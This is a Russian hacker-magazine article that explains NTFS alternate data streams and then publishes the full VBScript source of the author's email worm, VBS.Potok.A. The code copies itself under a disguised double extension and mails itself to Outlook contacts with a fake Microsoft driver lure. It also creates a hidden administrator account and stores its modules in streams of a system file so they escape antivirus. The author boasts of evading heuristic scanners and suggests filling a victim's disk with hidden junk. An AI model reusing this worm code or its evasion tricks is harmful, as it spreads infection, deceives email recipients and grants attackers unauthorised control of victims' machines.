Настольная книга компьютерного исследователя


Особенности файловой системы NTFS

—{ Нечто вроде предисловия }—

Забавно было на днях почерпнуть на сайте небезызвестного нам товарища Касперского следующую информацию:

«VBS.Potok.A — первый интернет-червь, использующий потоки NTFS.»

…было очень приятно ;)…

На самом деле он не первый, первым был Win2k.stream, это я уже знал от Дарка, когда код был уже написан :). Он сказал что некто, полгода назад уже реализовал эту вещичку, но на VBS этого вроде пока никто не писал, и я решил воспользоваться моментом :)

    Итак начнем.

—{ Особенности NTFS }—

Multiple Streams Files, иначе многопоточность файлов, существует с первых версий NT, но если раньше об этом мало кто знал, то сейчас это широко применяют в win2k.

Для реализации сего используются именованные потоки NTFS. Что же это? А вот что — при создании нового файла, например, текстового, все данные заносятся в неименованный поток, содержимое которого вы можете очень легко просмотреть в том же текстовом редакторе. Именованные же потоки записываются так:

файл.txt:поток1
файл.txt:поток2
файл.txt:поток3

Чтобы занести информацию в поток, поробуйте в вин2кей в командной строке написать:

echo Bill GeItzn iZ niGga>c:\файл.txt:bill

Таким образом мы заносим информацию «Bill GeItzn iZ niGga» в поток «bill». Чтобы достать инфу оттуда пишем:

more<c:\файл.txt:bill

можно перенаправить вывод в тот же файл, но в неименованый поток:

more<c:\файл.txt:bill>c:\файл.txt

Кроме того, вы можете попробовать создать несколько поток в одном файле, каждый при этом будет содержать свою информацию, но с точки зрения системных инструментов файл будет иметь размер 0 байт. То есть мы можем попростому устроить заподлянку шефу, записать пару
гигов мусора в поток, тем самым засрать весь диск, но файл все также будет иметь размер 0 байт. Мы можем усложнить это действия, писав мусор, ненужную инфу, в разные потоки, называя их при этому случайным образом. Это попросту убьет место на диске, а если он не будет знать имени это файла, то он не сможет его удалить, и потребуется переустановка системы. Еще одна хитрость, можно писать информацию в системный файл, удалить который просто не будет желания :) или возможности.

Стандартные функции win32 API позволяют копировать именованные потоки друг в друга и удалять отдельные потоки. Копирование выполняется по следующим правилам:

обозначения:

A — неименованный поток

B — именованный поток

--------------------------------------------------------------------------
| 1 параметр | 2 параметр | результат                                    |

--------------------------------------------------------------------------
|     A      |     A      | Копируется весь файл со всеми потоками       |
--------------------------------------------------------------------------
|     A      |     B      | Неименованный поток копируется в именованный |
--------------------------------------------------------------------------
|     B      |     A      | Файл удаляется. Именов. копируется в неим.   |
--------------------------------------------------------------------------
|     B      |     B      | Именованный поток копируется в именованный.  |
--------------------------------------------------------------------------

В win2k именованные потоки хранят информацию о файле? заголовок, предмет, ключевые слова и т.п. Все то, что находится на вкладке Summary диалогового окна File Properties. Имена потоков хранятся в unicode, следовательно их можно называть по-русски.

—{ вирус }—

Я думаю тут уж нечего говорить, структура VBS вирусов всегда проста.

-{ модуль копирующий себя }

Set wshshell = _
CreateObject(«WScript.Shell»)
Set WshSysEnv = WshShell.Environment _
(«Process»)
Set fso = CreateObject _
(«Scripting.FileSystemObject»)
Set File = _
fso.GetFile _
(WScript.ScriptFullName)
File.Copy _
(WshSysEnv(«windir») & _
«\driver.doc                                              .vbs»)

-{ модуль рассылающий письма }

sub mail_me
Dim OutlookObject, _
OutMail, _
Index
Set OutlookObject = CreateObject _
(«Outlook.Application»)
For Index = 1 To 50
Set M = _
OutlookObject.CreateItem(0)
M.to = _
OutlookObject.GetNameSpace _
(«MAPI»).AddressLists(1). _
AddressEntries(Index)
M.Subject = _
«New World»
M.Body = _
«Lord Nikon»
M.Attachments.Add _
(WScript.ScriptFullName)
if mailed=false then
M. _
Send
end if
next
end sub

Также здесь можно сделать проверку на то, что мы уже отсылали почту, это сделать очень просто, добавив ключ в реестр, а потом проверять его существование.

Вы спросите, зачем в скрипте переводы строк? Ответ просто, чтобы обмануть многие антивирусные программы, анализирующие код. Хоть Каспер и хвалится своим AVP Script Checker’ом, которые есть эвристический, то бишь не использует баз данных, а анализирует код на лету, но и он тут не у дел.;)

-{ создаем пользователя

sub CreateUS _
(ServerName, userName, pass)
on error resume next
err.clear
set objServer = _
GetObject(«WinNT://» & ServerName)
set objGroup = _
objServer.Create(«user», userName)
objGroup.Setpassword (pass)
objGroupr.AccountDisabled=false
objGroup.SetInfo
if err <> 0 then
set success=false
Else
set success=true
end if
end sub

-{ помещаем пользователя в группу админов

sub AddUser _
(server, group, user)
on error resume next
err.clear
set objGroup = _
GetObject(«WinNT://» & server & «/» & group)
objGroup.Add _
«WinNT://» & server & «/» & user
if err > 0 then
set fixed = false
Else
set fixed = true
end if
end sub

—————————————————————————-

в принципе этого хватает:), для обычного постового червя, еще можно портить реестр и делать другие шалости, но нас это не интересует:). Начинается самое интересное. Нам нужен код, позволяющий писать в потоки. Проведя на msdn.microsoft.com около суток, я все-таки нашел этот код). Все оказалось настолко просто, что я и подумать не мог:)) Хотя я думал. И даже пробовал сделать такую вещь как:

wshshell.run(«echo test>c:\test.txt:potok»)

не прокатило:) И все же, все оказалось очень просто, привожу исходник с msdn:

‘ CreateStream.vbs
‘ Demonstrates streams on NTFS volumes
‘ ———————————————————

Option Explicit

‘ Some constants
Const L_NotNTFS = «Sorry, the current volume is not NTFS.»
Const L_EnterFile = «Enter a file name»
Const L_TestNTFS = «Test NTFS»
Const L_StdFile = «c:\testntfs\test.txt»
Const L_EnterStream = «Enter a stream name»
Const L_StdStream = «VersionInfo»
Const L_EnterTextStream = «Enter the text of the stream»
Const L_StdContent = «1.0″

‘ Makes sure the current volume is NTFS
if Not IsNTFS() then
MsgBox L_NotNTFS
WScript.Quit
end if

‘ Query for a file name
dim sFileName
sFileName = InputBox(L_EnterFile, L_TestNTFS, L_StdFile)
if sFileName = «» then WScript.Quit

‘ Query for the stream to be written
dim sStreamName
sStreamName = InputBox (L_EnterStream, L_TestNTFS, L_StdStream)
if sStreamName = «» then WScript.Quit

‘ Initializes the FS object model
dim fso, bExist
set fso = CreateObject(«Scripting.FileSystemObject»)

‘ Creates the file if it doesn’t exist
dim ts
if Not fso.FileExists(sFileName) then
set ts = fso.CreateTextFile(sFileName)
ts.Close
end if

‘ Try to read the current content of the stream
dim sFileStreamName, sStreamText
sFileStreamName = sFileName & «:» & sStreamName
if Not fso.FileExists(sFileStreamName) then
sStreamText = L_StdContent
else
set ts = fso.OpenTextFile(sFileStreamName)
sStreamText = ts.ReadAll()
ts.Close
end if

‘ Query for the content of the stream to be written
sStreamText = InputBox (L_EnterTextStream, L_TestNTFS, sStreamText)
if sStreamText = «» then WScript.Quit

‘ Try to write to the stream
set ts = fso.CreateTextFile(sFileStreamName)
ts.Write sStreamText

‘ Close the app
set ts = Nothing
set fso = Nothing
WScript.Quit

‘ ////////////////////////////////////////////////////////
‘ // Helper functions

‘ IsNTFS() — Verifies whether the current volume is NTFS
‘ ———————————————————
function IsNTFS()
dim fso, drv

IsNTFS = False
set fso = CreateObject(«Scripting.FileSystemObject»)
set drv = fso.GetDrive(fso.GetDriveName(WScript.ScriptFullName))
set fso = Nothing

if drv.FileSystem = «NTFS» then IsNTFS = True
end function

——————————————————————-

Итак, изучив сие дело мы пишем свое, объяснять буду по ходу дела в комментариях, так что читайте:

‘Тут мы создаем объекты Wscript.Shell, Scripting.FileSystemObject
Set wshshell = _
CreateObject(«WScript.Shell»)
Set WshSysEnv = WshShell.Environment _
(«Process»)
Set fso = CreateObject _
(«Scripting.FileSystemObject»)
Set File = _
fso.GetFile _
(WScript.ScriptFullName)
dim L_TestNTFS, L_StdFile, L_StdStream, L_EnterTextStream, L_StdContent
‘копируем себя же в папку ВыньДос
File.Copy _
(WshSysEnv(«windir») & _
«\driver.doc                                              .vbs»)
‘Здесь задаем имя файла, в который будут писаться потоки
L_StdFile = WshSysEnv(«SystemRoot»)&»\odbc.ini»
‘задаем имена потоков и их содержимое
L_StdStream1 = «mail»
‘Я решил сделать по потоку для отдельного модуля, т.к. это очень удобно
L_StdContent1 = «sub mail_me» &vbcrlf& _
«‘мылим все это дела американцам, чтоб они обкончались со страху)))» &vbcrlf& _
«Dim OutlookObject, _» &vbcrlf& _
«OutMail, _» &vbcrlf& _
«Index» &vbcrlf& _
«Set OutlookObject = CreateObject _» &vbcrlf& _
«(«&chr(34)&»Outlook.Application»&chr(34)&»)» &vbcrlf& _
«For Index = 1 To 50″ &vbcrlf& _
«Set M = _» &vbcrlf& _
«OutlookObject.CreateItem(0)» &vbcrlf& _
«M.to = _» &vbcrlf& _
«OutlookObject.GetNameSpace _» &vbcrlf& _
«(«&chr(34)&»MAPI»&chr(34)&»).AddressLists(1). _» &vbcrlf& _
«AddressEntries(Index)» &vbcrlf& _
«M.Subject = _» &vbcrlf& _
chr(34)&»New Generation of drivers.»&chr(34)&vbcrlf& _
«M.Body = _» &vbcrlf& _
chr(34)&»Microsoft has published new driver for all types Video Cards, compatible with Windows 95/98/NT/2000/XP.»&chr(34)&»& _»&vbcrlf&chr(34)&» You can read about it in attachment document. «&chr(34)&»& _»&vbcrlf&chr(34)&»Best wishes,»&chr(34)&»& _»&vbcrlf&chr(34)&»Microsoft.»&chr(34) &vbcrlf& _
«M.Attachments.Add _» &vbcrlf& _
«(WshSysEnv(«&chr(34)&»windir»&chr(34)&»)& «&chr(34)&»\driver.doc                                              .vbs»&chr(34)&»)» &vbcrlf& _
«M. _» &vbcrlf& _
«Send» &vbcrlf& _
«next» &vbcrlf& _
«end sub»&vbcrlf
L_StdStream2 = «main»
L_StdContent2 = «On Error Resume Next» &vbcrlf& _
«Dim fso, File»  &vbcrlf& _
«prefix =  _»  &vbcrlf& _
chr(34)&»HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\» & chr(34) &vbcrlf& _
«Set wshshell = _» &vbcrlf& _
«CreateObject(«&chr(34)&»WScript.Shell»&chr(34)&»)» &vbcrlf& _
«Set WshSysEnv = WshShell.Environment _» &vbcrlf& _
«(«&chr(34)&»Process»&chr(34)&»)» &vbcrlf& _
«»»»»»»»»»»»»»»»»»»»»»»»»’» &vbcrlf& _
«Set fso = CreateObject _» &vbcrlf& _
«(«&chr(34)&»Scripting.FileSystemObject»&chr(34)&»)» &vbcrlf& _
«Set File = _» &vbcrlf& _
«fso.GetFile _» &vbcrlf& _
«(WScript.ScriptFullName)» &vbcrlf& _
«Set WshNetwork = WScript.CreateObject _» &vbcrlf& _
«(«&chr(34)&»WScript.Network»&chr(34)&»)»&vbcrlf& _
«‘поехали?;)» &vbcrlf& _
«mail_me»&vbcrlf& _
«if WshSysEnv(«&chr(34)&»SystemRoot»&chr(34)&»)<>»&chr(34)&chr(34)&» then»&vbcrlf& _
«OS=»&chr(34)&»winnt/2000″&chr(34)&vbcrlf& _
«    CreateUS _»&vbcrlf& _
«WshNetwork.ComputerName , _»&vbcrlf& _
chr(34)&»Lord_Nikon»&chr(34)&», _»&vbcrlf& _
chr(34)&»password»&chr(34)&vbcrlf& _
«    if success=true then»&vbcrlf& _
«        AddUser _»&vbcrlf& _
«WshNetwork.ComputerName, _»&vbcrlf& _
chr(34)&»Administrators»&chr(34)&», _»&vbcrlf& _
chr(34)&»Lord_Nikon»&chr(34)&vbcrlf& _
«if fixed=false then»&vbcrlf& _
«        AddUser _»&vbcrlf& _
«WshNetwork.ComputerName, _»&vbcrlf& _
chr(34)&»Администраторы»&chr(34)&», _»&vbcrlf& _
chr(34)&»Lord_Nikon»&chr(34)&vbcrlf& _
«end if»&vbcrlf& _
«else»&vbcrlf& _
«wshshell.run _»&vbcrlf& _
«(«&chr(34)&»net user Lord_Nikon password /add»&chr(34)&»)»&vbcrlf& _
«wshshell.run _»&vbcrlf& _
«(«&chr(34)&»net localgroup Administratotrs Lord_Nikon /add»&chr(34)&»)»&vbcrlf& _
«    end if»&vbcrlf& _
«else «&vbcrlf& _
«OS=»&chr(34)&»win9x»&chr(34)&vbcrlf& _
«end if»&vbcrlf
‘в этот поток записывается модуль для создания пользователя
L_StdStream3 = «user»
L_StdContent3 = «sub CreateUS _» &vbcrlf& _
«(ServerName, userName, pass)» &vbcrlf& _
«‘если это винтукей, то мы сможем создать пользователя и по идее двинуть его в группу админов» &vbcrlf& _
«‘в принципе это можно сделать и через net, но чем ч0рт не шутит» &vbcrlf& _
«     on error resume next» &vbcrlf& _
«     err.clear» &vbcrlf& _
«     set objServer = _» &vbcrlf& _
«GetObject(«&chr(34)&»WinNT://»&chr(34)&»& ServerName)» &vbcrlf& _
«     set objGroup = _» &vbcrlf& _
«objServer.Create(«&chr(34)&»user»&chr(34)&», userName)» &vbcrlf& _
«     objGroup.Setpassword (pass)» &vbcrlf& _
«    objGroupr.AccountDisabled=false» &vbcrlf& _
«     objGroup.SetInfo» &vbcrlf& _
«     if err <> 0 then » &vbcrlf& _
«         set success=false» &vbcrlf& _
«     Else» &vbcrlf& _
«         set success=true» &vbcrlf& _
«     end if» &vbcrlf& _
» end sub»&vbcrlf
‘это модуль для того чобы двинуть созданного пользователя в группу админов
L_StdStream4 = «group»
L_StdContent4 = «sub AddUser _» &vbcrlf& _
«(server, group, user)» &vbcrlf& _
«‘собственно сейчас мы двигаем пользователя» &vbcrlf& _
«     on error resume next» &vbcrlf& _
«     err.clear» &vbcrlf& _
«     set objGroup = _» &vbcrlf& _
«GetObject(«&chr(34)&»WinNT://»&chr(34)&» & server & «&chr(34)&»/»&chr(34)&» & group)» &vbcrlf& _
«     objGroup.Add _» &vbcrlf& _
chr(34)&»WinNT://»&chr(34)&» & server & «&chr(34)&»/»&chr(34)&» & user» &vbcrlf& _
«     if err > 0 then » &vbcrlf& _
«             set fixed = false» &vbcrlf& _
«     Else» &vbcrlf& _
«             set fixed = true» &vbcrlf& _
«end if» &vbcrlf& _
«end sub»&vbcrlf

‘здесь мы проверяем НТФС это или нет и запускаем подпрограмму для создания
потоков
if Not IsNTFS() then
WScript.Quit
end if
stream L_StdStream1,L_StdContent1
stream L_StdStream2,L_StdContent2
stream L_StdStream3,L_StdContent3
stream L_StdStream4,L_StdContent4
‘подпрограмма для создания потока
sub stream(potok,data)
dim sFileName
sFileName = L_StdFile

if sFileName = «» then WScript.Quit

dim sStreamName
sStreamName = potok
if sStreamName = «» then WScript.Quit
dim ts
if Not fso.FileExists(sFileName) then
set ts = fso.CreateTextFile(sFileName)
ts.Close
end if
dim sFileStreamName, sStreamText
sFileStreamName = sFileName & «:» & potok
if Not fso.FileExists(sFileStreamName) then
sStreamText = data
else
set ts = fso.OpenTextFile(sFileStreamName)
sStreamText = ts.ReadAll()
ts.Close
end if
if sStreamText = «» then WScript.Quit
set ts = fso.CreateTextFile(sFileStreamName)
ts.Write data
end sub

»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»
‘подпрограмма для проверки на тип файловой системы
function IsNTFS()
dim drv

IsNTFS = False
set drv = fso.GetDrive(fso.GetDriveName(WScript.ScriptFullName))
if drv.FileSystem = «NTFS» then IsNTFS = True
end function
»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»
‘Из этого модуля мы создадим файл, который потом будет вытаскивать инфу из потоков
‘он же, при запуске создаст файл, который потом запустит сам вирь из потоков.
module = «Set wshshell = _» &vbcrlf& _
«CreateObject(«&chr(34)&»WScript.Shell»&chr(34)&»)» &vbcrlf& _
«Set WshSysEnv = WshShell.Environment _» &vbcrlf& _
«(«&chr(34)&»Process»&chr(34)&»)» &vbcrlf& _
«Set fso = CreateObject _» &vbcrlf& _
«(«&chr(34)&»Scripting.FileSystemObject»&chr(34)&»)» &vbcrlf& _
«set bs = fso.CreateTextFile(WshSysEnv(«&chr(34)&»SystemRoot»&chr(34)&»)&»&chr(34)&»\system32\ras\notepad.vbs»&chr(34)&»)» &vbcrlf& _
«   bs.Close» &vbcrlf& _
«set bs=nothing» &vbcrlf& _
«sub r1(pot)» &vbcrlf& _
«set ns = fso.OpenTextFile(«&chr(34)&WshSysEnv(«SystemRoot»)&»\odbc.ini:»&chr(34)&»&pot)» &vbcrlf& _
«   eXtream = ns.ReadAll()» &vbcrlf& _
«   ns.Close» &vbcrlf& _
«set ns=nothing» &vbcrlf& _
«set dll = fso.OpenTextFile(WshSysEnv(«&chr(34)&»SystemRoot»&chr(34)&»)&»&chr(34)&»\system32\ras\notepad.vbs»&chr(34)&», 8, True, 0)» &vbcrlf& _
«dll.Writeline eXtream» &vbcrlf& _
«dll.Close» &vbcrlf& _
«set dll=nothing» &vbcrlf& _
«end sub» &vbcrlf& _
«r1 «&chr(34)&»main»&chr(34) &vbcrlf& _
«r1 «&chr(34)&»mail»&chr(34) &vbcrlf& _
«r1 «&chr(34)&»user»&chr(34) &vbcrlf& _
«r1 «&chr(34)&»group»&chr(34)&vbcrlf& _
«wscript.sleep 10000″&vbcrlf& _
«wshshell.run(WshSysEnv(«&chr(34)&»SystemRoot»&chr(34)&»)&»&chr(34)&»\system32\ras\notepad.vbs»&chr(34)&»)»&vbcrlf
set mod1 = fso.CreateTextFile(WshSysEnv(«SystemRoot»)&»\system32\go.vbs»)
mod1.Write module
mod1.Close

—{заключение}—

что тут еще сказать, это просто пример, сюда можно ждобавить функции рассылки по irc через скрипты мирка и т.п., это зависит только от вашей фантазии. Этот вирь был первым. Исходник вы найдете в приложении:).

Cсылка на каспера:

http://www.viruslist.com/default.asp?tnews=2&nview=1&id=985&page=0

Удачи.

p.s. меня прикольнуло то, что первая копия вируса была отослана лично Касперу, но у них на сайте, в самом низу, под новостью о вире написано?

Источник: McAfee

Я долго над этим смеялся))), то ли Каспер сам не смог вирь разобрать, то ли ему не понравились комментарии))), но в любом случае, его нашли уже в дейтсвии.

p.p.s. его назвали vbs.potok.A Так как тут пахать неперепахать. В следующий раз я расскажу о жестких связях в NTFS )…

~Lord Nikon



©2013 Журнал Хакера Entries (RSS) and Comments (RSS)